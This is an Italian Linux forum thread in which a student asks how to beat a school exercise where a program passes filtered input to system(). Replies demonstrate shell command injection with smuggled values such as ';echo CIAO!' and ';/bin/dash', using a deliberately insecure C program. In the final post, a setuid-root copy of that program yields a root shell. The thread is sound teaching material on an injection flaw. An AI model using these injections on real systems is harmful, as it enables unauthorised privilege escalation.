[Risolto] Utilizzare var d'ambiente all'interno di comandi.

Linguaggi di programmazione: php, perl, python, C, bash e tutti gli altri.
Scrivi risposta
serf88
Prode Principiante
Messaggi: 16
Iscrizione: lunedì 12 ottobre 2009, 20:33

[Risolto] Utilizzare var d'ambiente all'interno di comandi.

Messaggio da serf88 »

Ciao a tutti,
sto cercando di risolvere un esercizio per la scuola, l'obbiettivo è eseguire 2 comandi da shell di cui uno è all'interno di una variabile d'ambiente.
quello che ho pensato è fare:

export AAA="; sh"

la variabile c'è ed è visibile con $AAA ma quando la lego a qualcos'altro per esempio:

ls$AAA mi da errore:

ls: impossibile accedere a ;: File o directory non esistente
ls: impossibile accedere a sh: File o directory non esistente

grazie a tutti per l'attenzione
:ciao:
Ultima modifica di serf88 il domenica 13 maggio 2012, 11:11, modificato 1 volta in totale.
Avatar utente
Laycastle
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1183
Iscrizione: sabato 9 aprile 2011, 21:54
Desktop: KDE 4.8
Distribuzione: Gentoo ~amd64
Località: Torino

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da Laycastle »

Non so se ho capito. Intendi

Codice: Seleziona tutto

laycastle $ a=";echo 2"
laycastle $ eval echo 1$a
1
2
?
la via più breve tra due punti è l'arabesco.
serf88
Prode Principiante
Messaggi: 16
Iscrizione: lunedì 12 ottobre 2009, 20:33

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da serf88 »

si esatto il principio è questo. Non c'è un modo per evitare eval? non posso agire prima del primo comando..
Avatar utente
Laycastle
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1183
Iscrizione: sabato 9 aprile 2011, 21:54
Desktop: KDE 4.8
Distribuzione: Gentoo ~amd64
Località: Torino

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da Laycastle »

Hum... vorresti essere un po' più esplicito per quanto riguarda la consegna?
Immagino che

Codice: Seleziona tutto

laycastle ~ $ a="echo 2"
laycastle ~ $ echo 1;$a
1
2
non vada bene, giusto?
la via più breve tra due punti è l'arabesco.
serf88
Prode Principiante
Messaggi: 16
Iscrizione: lunedì 12 ottobre 2009, 20:33

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da serf88 »

si esatto cosi' non va bene.
Non esiste una vera e propria consegna, ho un programma che non posso modificare che esegue un comando con system(). Io posso solo inserire in input gli argomenti (filtrati da tutti i caretteri speciali tranne $) di questo primo comando. Il prof ci ha sfidato a far eseguire qualcos'altro programma. Non so se sono stato chiaro..
Avatar utente
Laycastle
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1183
Iscrizione: sabato 9 aprile 2011, 21:54
Desktop: KDE 4.8
Distribuzione: Gentoo ~amd64
Località: Torino

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da Laycastle »

Ah, ho capito. In pratica devi trovare il modo di far eseguire codice arbitrario a quel programma in C. :)
Potresti provare qualcosa come

Codice: Seleziona tutto

laycastle $ export a="bash"
laycastle $ su -c 'ls $($a)'
Password: 
bash: no job control in this shell
root #
root # exit
exit
ls: impossibile accedere a : File o directory non esistente
laycastle $
la via più breve tra due punti è l'arabesco.
Avatar utente
giulux
Amministratore
Amministratore
Messaggi: 25422
Iscrizione: domenica 10 gennaio 2010, 12:17
Desktop: ubuntu 18.04
Distribuzione: Ubuntu 18.04.3 LTS x86_64
Sesso: Maschile
Località: Roma

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da giulux »

sposto in programmazione
"Non è una segno di buona salute l'essere ben adattato ad una società malata". (Jiddu Krishnarmurti)
Avatar utente
crap0101
Rampante Reduce
Rampante Reduce
Messaggi: 8242
Iscrizione: martedì 30 ottobre 2007, 6:33
Desktop: LXDE
Distribuzione: Ubuntu 18.04.1 LTS
Sesso: Maschile
Località: TO
Contatti:

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da crap0101 »

bisognerebbe vedere che tipo di controlli fa il programma sugli argomenti che gli passi, perchè per "fregare" system() non ci vuole molto

Codice: Seleziona tutto

crap0101@crap0101-M:~$ cat /tmp/insecure.c
#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char **argv)
{
    char args[100];
    sprintf(args, "%s", "ls");
    int p=2;
    while (*++argv)
        p += sprintf(&args[p], " %s ", *argv);
    puts(args);
    system(args);
    return 0;
}

crap0101@crap0101-M:~$ /tmp/insecure '--version;echo CIAO!'
ls --version;echo CIAO! 
ls (GNU coreutils) 8.5
Copyright © 2010 Free Software Foundation, Inc.
Licenza GPLv3+: GNU GPL versione 3 o successive <http://gnu.org/licenses/gpl.html>
Questo è software libero: è possibile modificarlo e ridistribuirlo.
Non c'è ALCUNA GARANZIA, nei limiti permessi dalla legge.

Scritto da Richard M. Stallman e David MacKenzie.
CIAO!
crap0101@crap0101-M:~$ 

Inoltre, il filtrare o meno il carattere $ è ininfluente dal momento che la $variabile viene espansa dalla shell prima di essere passata al programma.
http://www.gnu.org/ http://boinc.berkeley.edu/ http://www.python-it.org/
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
serf88
Prode Principiante
Messaggi: 16
Iscrizione: lunedì 12 ottobre 2009, 20:33

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggio da serf88 »

grazie mille crap0101 e Laycastle siete stati gentilissimi!
buona giornata :birra:
serf88
Prode Principiante
Messaggi: 16
Iscrizione: lunedì 12 ottobre 2009, 20:33

Re: [Risolto] Utilizzare var d'ambiente all'interno di coman

Messaggio da serf88 »

Già che ci sono vorrei chiedervi una domanda un po teorica.
Se un programma è impostato come posseduto da root e ha il flag setuid impostato. Se esego il programma di crap0101:
./ins ";/bin/bash"
dovrei ottenere una shell di root secondo me. Questo però non accade in pratica come mai? dove sbaglio?
Avatar utente
crap0101
Rampante Reduce
Rampante Reduce
Messaggi: 8242
Iscrizione: martedì 30 ottobre 2007, 6:33
Desktop: LXDE
Distribuzione: Ubuntu 18.04.1 LTS
Sesso: Maschile
Località: TO
Contatti:

Re: [Risolto] Utilizzare var d'ambiente all'interno di coman

Messaggio da crap0101 »

dipende... system() oltre a non essere molto sicura di per sè, è da evitare ancor di più in programmi che hanno impostato il setuid o il setgid perchè potrebbe fare un pò di 'confusione' con le variabili d'ambiente e comportarsi in modo inaspettato (anche nel caso non ci sia malignità).
Altro discorso è bash che non considera questi privilegi... un confronto:
crap0101@crap0101-M:~$ ls -l /tmp/insecure_r
-rwsrws--- 1 root crap0101 8807 2012-05-14 22:40 /tmp/insecure_r
crap0101@crap0101-M:~$ /tmp/insecure_r ';/bin/bash'
ls ;/bin/bash
[CUT]
bash-4.2$ whoami
crap0101
bash-4.2$ exit
crap0101@crap0101-M:~$ /tmp/insecure_r ';/bin/dash'
ls ;/bin/dash
[cut]
# whoami
root
#
crap0101@crap0101-M:~$
http://www.gnu.org/ http://boinc.berkeley.edu/ http://www.python-it.org/
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
Scrivi risposta

Ritorna a “Programmazione”

Chi c’è in linea

Visualizzano questa sezione: 0 utenti iscritti e 12 ospiti